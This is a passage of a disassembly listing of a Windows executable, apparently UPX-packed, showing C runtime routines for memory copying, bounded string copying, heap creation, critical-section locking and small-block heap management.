		dd offset loc_40CB78
		dd offset loc_40CB70
		dd offset loc_40CB68
		dd offset loc_40CB60
		dd offset loc_40CB58
; ---------------------------------------------------------------------------


loc_40CB58:				; CODE XREF: sub_40CA30:loc_40CAB4j
					; DATA XREF: sub_40CA30+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40CB60:				; CODE XREF: sub_40CA30:loc_40CAB4j
					; DATA XREF: sub_40CA30+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40CB68:				; CODE XREF: sub_40CA30:loc_40CAB4j
					; DATA XREF: sub_40CA30+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40CB70:				; CODE XREF: sub_40CA30:loc_40CAB4j
					; DATA XREF: sub_40CA30+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40CB78:				; CODE XREF: sub_40CA30:loc_40CAB4j
					; DATA XREF: sub_40CA30+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40CB80:				; CODE XREF: sub_40CA30:loc_40CAB4j
					; DATA XREF: sub_40CA30+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40CB88:				; CODE XREF: sub_40CA30:loc_40CAB4j
					; DATA XREF: sub_40CA30+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40CB9B:				; CODE XREF: sub_40CA30:loc_40CAB4j
					; DATA XREF: sub_40CA30:off_40CB38o
		jmp	off_40CBA4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40CBA4	dd offset loc_40CBB4	; DATA XREF: sub_40CA30+5Cr
					; sub_40CA30+BAr ...
		dd offset loc_40CBBC
		dd offset loc_40CBC8
		dd offset loc_40CBDC
; ---------------------------------------------------------------------------


loc_40CBB4:				; CODE XREF: sub_40CA30+5Cj
					; sub_40CA30+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CBBC:				; CODE XREF: sub_40CA30+5Cj
					; sub_40CA30+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CBC8:				; CODE XREF: sub_40CA30+5Cj
					; sub_40CA30+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CBDC:				; CODE XREF: sub_40CA30+5Cj
					; sub_40CA30+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CBF4:				; CODE XREF: sub_40CA30+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40CC28
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40CC1C
		std
		rep movsd
		cld
		jmp	off_40CD40[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40CC1C:				; CODE XREF: sub_40CA30+1DDj
					; sub_40CA30+238j ...
		neg	ecx
		jmp	off_40CCF0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40CC28:				; CODE XREF: sub_40CA30+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40CC40
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40CC40+4[eax*4]
; ---------------------------------------------------------------------------


loc_40CC40:				; CODE XREF: sub_40CA30+202j
					; DATA XREF: sub_40CA30+209r
		jmp	off_40CD40[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40CC54
		dd offset loc_40CC78
		dd offset loc_40CCA0
; ---------------------------------------------------------------------------


loc_40CC54:				; DATA XREF: sub_40CA30+218o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40CC1C
		std
		rep movsd
		cld
		jmp	off_40CD40[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40CC78:				; DATA XREF: sub_40CA30+21Co
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40CC1C
		std
		rep movsd
		cld
		jmp	off_40CD40[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40CCA0:				; DATA XREF: sub_40CA30+220o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40CC1C
		std
		rep movsd
		cld
		jmp	off_40CD40[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40CCF4
		dd offset loc_40CCFC
		dd offset loc_40CD04
		dd offset loc_40CD0C
		dd offset loc_40CD14
		dd offset loc_40CD1C
		dd offset loc_40CD24
off_40CCF0	dd offset loc_40CD37	; DATA XREF: sub_40CA30+1EEr
; ---------------------------------------------------------------------------


loc_40CCF4:				; DATA XREF: sub_40CA30+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40CCFC:				; DATA XREF: sub_40CA30+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_40CD04:				; DATA XREF: sub_40CA30+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40CD0C:				; DATA XREF: sub_40CA30+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_40CD14:				; DATA XREF: sub_40CA30+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40CD1C:				; DATA XREF: sub_40CA30+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40CD24:				; DATA XREF: sub_40CA30+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40CD37:				; CODE XREF: sub_40CA30+1EEj
					; DATA XREF: sub_40CA30:off_40CCF0o
		jmp	off_40CD40[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40CD40	dd offset loc_40CD50	; DATA XREF: sub_40CA30+1E3r
					; sub_40CA30:loc_40CC40r ...
		dd offset loc_40CD58
		dd offset loc_40CD68
		dd offset loc_40CD7C
; ---------------------------------------------------------------------------


loc_40CD50:				; CODE XREF: sub_40CA30+1E3j
					; sub_40CA30:loc_40CC40j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CD58:				; CODE XREF: sub_40CA30+1E3j
					; sub_40CA30:loc_40CC40j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CD68:				; CODE XREF: sub_40CA30+1E3j
					; sub_40CA30:loc_40CC40j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CD7C:				; CODE XREF: sub_40CA30+1E3j
					; sub_40CA30:loc_40CC40j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40CA30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD95	proc near		; CODE XREF: sub_40ACB7+35p
					; sub_40AD27+41p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		cmp	ecx, ebx
		jz	short loc_40CDAD
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		ja	short loc_40CDC8


loc_40CDAD:				; CODE XREF: sub_40CD95+Fj
					; sub_40CD95+3Cj
		call	sub_40C862
		push	16h
		pop	esi
		mov	[eax], esi


loc_40CDB7:				; CODE XREF: sub_40CD95+5Fj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40CDF8
; ---------------------------------------------------------------------------


loc_40CDC8:				; CODE XREF: sub_40CD95+16j
		mov	esi, [ebp+arg_8]
		cmp	esi, ebx
		jnz	short loc_40CDD3
		mov	[ecx], bl
		jmp	short loc_40CDAD
; ---------------------------------------------------------------------------


loc_40CDD3:				; CODE XREF: sub_40CD95+38j
		mov	edx, ecx


loc_40CDD5:				; CODE XREF: sub_40CD95+4Bj
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		inc	esi
		cmp	al, bl
		jz	short loc_40CDE2
		dec	edi
		jnz	short loc_40CDD5


loc_40CDE2:				; CODE XREF: sub_40CD95+48j
		cmp	edi, ebx
		jnz	short loc_40CDF6
		mov	[ecx], bl
		call	sub_40C862
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40CDB7
; ---------------------------------------------------------------------------


loc_40CDF6:				; CODE XREF: sub_40CD95+4Fj
		xor	eax, eax


loc_40CDF8:				; CODE XREF: sub_40CD95+31j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40CD95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDFD	proc near		; CODE XREF: UPX0:0040BC25p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	dword_41D18C	; HeapCreate
		mov	dword_42E724, eax
		test	eax, eax
		jnz	short loc_40CE23
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40CE23:				; CODE XREF: sub_40CDFD+22j
		xor	eax, eax
		inc	eax
		mov	dword_430290, eax
		pop	ebp
		retn
sub_40CDFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE2D	proc near		; CODE XREF: sub_40E4D8+115p
		mov	edi, edi
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_42E728


loc_40CE38:				; CODE XREF: sub_40CE2D+37j
		cmp	dword_42A1BC[esi*8], 1
		jnz	short loc_40CE60
		lea	eax, ds:42A1B8h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_413600
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40CE6C


loc_40CE60:				; CODE XREF: sub_40CE2D+13j
		inc	esi
		cmp	esi, 24h
		jl	short loc_40CE38
		xor	eax, eax
		inc	eax


loc_40CE69:				; CODE XREF: sub_40CE2D+49j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40CE6C:				; CODE XREF: sub_40CE2D+31j
		and	off_42A1B8[esi*8], 0
		xor	eax, eax
		jmp	short loc_40CE69
sub_40CE2D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E1F2


loc_40CE78:				; CODE XREF: sub_40E1F2:loc_40E22Aj
		mov	edi, edi
		push	ebx
		mov	ebx, dword_41D1C8
		push	esi
		mov	esi, offset off_42A1B8
		push	edi


loc_40CE88:				; CODE XREF: sub_40E1F2-1348j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_40CEA1
		cmp	dword ptr [esi+4], 1
		jz	short loc_40CEA1
		push	edi
		call	ebx ; dword_41D1C8
		push	edi
		call	sub_40ADC8
		and	dword ptr [esi], 0
		pop	ecx


loc_40CEA1:				; CODE XREF: sub_40E1F2-1366j
					; sub_40E1F2-1360j
		add	esi, 8
		cmp	esi, offset dword_42A2D8
		jl	short loc_40CE88
		mov	esi, offset off_42A1B8
		pop	edi


loc_40CEB2:				; CODE XREF: sub_40E1F2-1328j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CEC1
		cmp	dword ptr [esi+4], 1
		jnz	short loc_40CEC1
		push	eax
		call	ebx ; dword_41D1C8


loc_40CEC1:				; CODE XREF: sub_40E1F2-133Cj
					; sub_40E1F2-1336j
		add	esi, 8
		cmp	esi, offset dword_42A2D8
		jl	short loc_40CEB2
		pop	esi
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40E1F2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CECF	proc near		; CODE XREF: sub_40AE1E+2p
					; sub_40AE9C+2p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	off_42A1B8[eax*8]
		call	dword_41D204	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_40CECF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEE6	proc near		; CODE XREF: sub_40CFA9+16p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_4268E0
		call	__SEH_prolog4
		xor	edi, edi
		inc	edi
		mov	[ebp+var_1C], edi
		xor	ebx, ebx
		cmp	dword_42E724, ebx
		jnz	short loc_40CF1A
		call	sub_40DF83
		push	1Eh
		call	sub_40DDD8
		push	0FFh
		call	sub_40DB24
		pop	ecx
		pop	ecx


loc_40CF1A:				; CODE XREF: sub_40CEE6+1Aj
		mov	esi, [ebp+arg_0]
		lea	esi, ds:42A1B8h[esi*8]
		cmp	[esi], ebx
		jz	short loc_40CF2C
		mov	eax, edi
		jmp	short loc_40CF9A
; ---------------------------------------------------------------------------


loc_40CF2C:				; CODE XREF: sub_40CEE6+40j
		push	18h
		call	sub_40EF2A
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40CF49
		call	sub_40C862
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_40CF9A
; ---------------------------------------------------------------------------


loc_40CF49:				; CODE XREF: sub_40CEE6+52j
		push	0Ah
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi], ebx
		jnz	short loc_40CF84
		push	0FA0h
		push	edi
		call	sub_413600
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CF80
		push	edi
		call	sub_40ADC8
		pop	ecx
		call	sub_40C862
		mov	dword ptr [eax], 0Ch
		mov	[ebp+var_1C], ebx
		jmp	short loc_40CF8B
; ---------------------------------------------------------------------------


loc_40CF80:				; CODE XREF: sub_40CEE6+81j
		mov	[esi], edi
		jmp	short loc_40CF8B
; ---------------------------------------------------------------------------


loc_40CF84:				; CODE XREF: sub_40CEE6+70j
		push	edi
		call	sub_40ADC8
		pop	ecx


loc_40CF8B:				; CODE XREF: sub_40CEE6+98j
					; sub_40CEE6+9Cj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40CFA0
		mov	eax, [ebp+var_1C]


loc_40CF9A:				; CODE XREF: sub_40CEE6+44j
					; sub_40CEE6+61j
		call	__SEH_epilog4
		retn
sub_40CEE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CFA0	proc near		; CODE XREF: sub_40CEE6+ACp
					; DATA XREF: UPX0:004268F8o
		push	0Ah
		call	sub_40CECF
		pop	ecx
		retn
sub_40CFA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFA9	proc near		; CODE XREF: sub_40ADC8+1Ep
					; sub_40AE56+1Dp ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:42A1B8h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_40CFD1
		push	eax
		call	sub_40CEE6
		pop	ecx
		test	eax, eax
		jnz	short loc_40CFD1
		push	11h
		call	sub_40DAD0
		pop	ecx


loc_40CFD1:				; CODE XREF: sub_40CFA9+13j
					; sub_40CFA9+1Ej
		push	dword ptr [esi]
		call	dword_41D1CC	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_40CFA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDC	proc near		; CODE XREF: sub_40ADC8+29p
					; sub_40B8A1+5Bp ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, dword_430278
		mov	eax, dword_43027C
		imul	ecx, 14h
		add	ecx, eax
		jmp	short loc_40D004
; ---------------------------------------------------------------------------


loc_40CFF3:				; CODE XREF: sub_40CFDC+2Aj
		mov	edx, [ebp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short loc_40D00A
		add	eax, 14h


loc_40D004:				; CODE XREF: sub_40CFDC+15j
		cmp	eax, ecx
		jb	short loc_40CFF3
		xor	eax, eax


loc_40D00A:				; CODE XREF: sub_40CFDC+23j
		pop	ebp
		retn
sub_40CFDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D00C	proc near		; CODE XREF: sub_40ADC8+38p
					; sub_40B8A1+B5p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		mov	[ebp+var_4], ecx
		test	cl, 1
		jnz	loc_40D31E
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		mov	[ebp+arg_4], ebx
		test	dl, 1
		jnz	short loc_40D0D9
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_40D071
		push	3Fh
		pop	edx


loc_40D071:				; CODE XREF: sub_40D00C+60j
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_40D0BB
		mov	ebx, 80000000h
		cmp	edx, 20h
		jnb	short loc_40D09C
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40D0B8
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40D0B8
; ---------------------------------------------------------------------------


loc_40D09C:				; CODE XREF: sub_40D00C+75j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40D0B8
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_40D0B8:				; CODE XREF: sub_40D00C+87j
					; sub_40D00C+8Ej ...
		mov	ebx, [ebp+arg_4]


loc_40D0BB:				; CODE XREF: sub_40D00C+6Bj
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_40D0D9:				; CODE XREF: sub_40D00C+57j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_40D0E7
		push	3Fh
		pop	edx


loc_40D0E7:				; CODE XREF: sub_40D00C+D6j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_40D185
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_40D10C
		mov	ebx, esi


loc_40D10C:				; CODE XREF: sub_40D00C+FCj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		mov	[ebp+var_4], ecx
		cmp	edx, esi
		jbe	short loc_40D11E
		mov	edx, esi


loc_40D11E:				; CODE XREF: sub_40D00C+10Ej
		cmp	ebx, edx
		jz	short loc_40D180
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_40D168
		mov	esi, 80000000h
		cmp	ebx, 20h
		jnb	short loc_40D14E
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_40D168
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_40D168
; ---------------------------------------------------------------------------


loc_40D14E:				; CODE XREF: sub_40D00C+129j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_40D168
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_40D168:				; CODE XREF: sub_40D00C+11Fj
					; sub_40D00C+139j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_40D180:				; CODE XREF: sub_40D00C+114j
		mov	esi, [ebp+arg_4]
		jmp	short loc_40D188
; ---------------------------------------------------------------------------


loc_40D185:				; CODE XREF: sub_40D00C+E4j
		mov	ebx, [ebp+arg_0]


loc_40D188:				; CODE XREF: sub_40D00C+177j
		cmp	[ebp+var_C], 0
		jnz	short loc_40D196
		cmp	ebx, edx
		jz	loc_40D216


loc_40D196:				; CODE XREF: sub_40D00C+180j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_40D216
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		cmp	edx, 20h
		jnb	short loc_40D1ED
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40D1DC
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_40D1DC:				; CODE XREF: sub_40D00C+1C0j
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_40D216
; ---------------------------------------------------------------------------


loc_40D1ED:				; CODE XREF: sub_40D00C+1BAj
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40D203
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_40D203:				; CODE XREF: sub_40D00C+1E5j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_40D216:				; CODE XREF: sub_40D00C+184j
					; sub_40D00C+1A8j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_40D31D
		mov	eax, dword_42E878
		test	eax, eax
		jz	loc_40D30F
		mov	ecx, dword_43028C
		mov	esi, dword_41D0E4
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi ; dword_41D0E4
		mov	ecx, dword_43028C
		mov	eax, dword_42E878
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_42E878
		mov	eax, [eax+10h]
		mov	ecx, dword_43028C
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_42E878
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_42E878
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_40D2A4
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_42E878


loc_40D2A4:				; CODE XREF: sub_40D00C+28Dj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_40D30F
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi ; dword_41D0E4
		mov	eax, dword_42E878
		push	dword ptr [eax+10h]
		push	0
		push	dword_42E724
		call	dword_41D0CC	; RtlFreeHeap
		mov	ecx, dword_430278
		mov	eax, dword_42E878
		imul	ecx, 14h
		mov	edx, dword_43027C
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_40CA30
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_430278
		cmp	eax, dword_42E878
		jbe	short loc_40D305
		sub	[ebp+arg_0], 14h


loc_40D305:				; CODE XREF: sub_40D00C+2F3j
		mov	eax, dword_43027C
		mov	dword_430284, eax


loc_40D30F:				; CODE XREF: sub_40D00C+225j
					; sub_40D00C+29Cj
		mov	eax, [ebp+arg_0]
		mov	dword_42E878, eax
		mov	dword_43028C, edi


loc_40D31D:				; CODE XREF: sub_40D00C+218j
		pop	ebx


loc_40D31E:				; CODE XREF: sub_40D00C+39j
		pop	edi
		pop	esi
		leave
		retn
sub_40D00C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D322	proc near		; CODE XREF: sub_40D7BB+C2p
		mov	eax, dword_430288
		push	esi
		mov	esi, dword_430278
		push	edi
		xor	edi, edi
		cmp	esi, eax
		jnz	short loc_40D369
		add	eax, 10h
		imul	eax, 14h
		push	eax
		push	dword_43027C
		push	edi
		push	dword_42E724
		call	dword_41D1A0	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_40D357


loc_40D353:				; CODE XREF: sub_40D322+68j
					; sub_40D322+94j
		xor	eax, eax
		jmp	short loc_40D3CF
; ---------------------------------------------------------------------------


loc_40D357:				; CODE XREF: sub_40D322+2Fj
		add	dword_430288, 10h
		mov	esi, dword_430278
		mov	dword_43027C, eax


loc_40D369:				; CODE XREF: sub_40D322+11j
		imul	esi, 14h
		add	esi, dword_43027C
		push	41C4h
		push	8
		push	dword_42E724
		call	dword_41D0D4	; RtlAllocateHeap
		mov	[esi+10h], eax
		cmp	eax, edi
		jz	short loc_40D353
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_41D0E8	; VirtualAlloc
		mov	[esi+0Ch], eax
		cmp	eax, edi
		jnz	short loc_40D3B8
		push	dword ptr [esi+10h]
		push	edi
		push	dword_42E724
		call	dword_41D0CC	; RtlFreeHeap
		jmp	short loc_40D353
; ---------------------------------------------------------------------------


loc_40D3B8:				; CODE XREF: sub_40D322+82j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_430278
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_40D3CF:				; CODE XREF: sub_40D322+33j
		pop	edi
		pop	esi
		retn
sub_40D322	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3D2	proc near		; CODE XREF: sub_40D7BB+D8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_40D3EC
; ---------------------------------------------------------------------------


loc_40D3E9:				; CODE XREF: sub_40D3D2+1Cj
		add	eax, eax
		inc	ebx


loc_40D3EC:				; CODE XREF: sub_40D3D2+15j
		test	eax, eax
		jge	short loc_40D3E9
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


